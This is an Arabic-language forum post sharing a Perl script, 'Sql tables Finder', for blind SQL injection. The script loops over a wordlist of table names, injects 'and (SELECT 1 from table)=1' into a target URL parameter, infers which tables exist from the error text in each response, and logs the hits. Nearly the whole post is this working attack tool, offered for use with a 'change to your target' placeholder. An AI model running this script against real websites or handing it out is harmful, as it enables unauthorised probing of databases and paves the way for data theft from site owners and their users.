السلام عليكم ورحمة الله
لمحبي الحقن اليدوي
طريقة للتخمين على التايبلز
بالتوفيق
كود:
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
system('cls');
print '
____ _____ _____
/ __"| u |_ " _| |" ___|
<\___ \/ | | U| |_ u
u___) | /| |\ \| _|/
|____/>> u |_|U |_|
)( (__) _// \\_ )(\\,-
(__) (__) (__) (__)(_/
';
print "\n Sql tables Finder\n";
print "List Of tables -> ";
my $tables = <STDIN>;
chomp($tables);
open (TABLESFILE, "<$tables") || die "[-] Can't Found ($tables) !";
my @tables = <TABLESFILE>;
close TABLESFILE;
system('clear');
system('cls');
print "Cracking Now !...\n";
foreach my $table (@tables) {
chomp $table;
my $UserAgent = LWP::UserAgent->new;
my $sql = "https://www.site.com/path/-id and (SELECT 1 from $table )=1"; #change to your targer
my $request = HTTP::Request->new(GET => $sql);
my $reponse = $UserAgent->request($request);
#print $sql;
if ($reponse->content =~m/SQL/) { #change to your specific string
print "Table doesn't exist => ($table)\n";
}
else{
print " Table exist => ($table)\n";
open(LNT,">>tables_exists.txt");
print LNT "$table\n";
close(LNT);}
}
04-23-2018, 01:34 AM
SQLI TABLES FINDER
العرض العادي
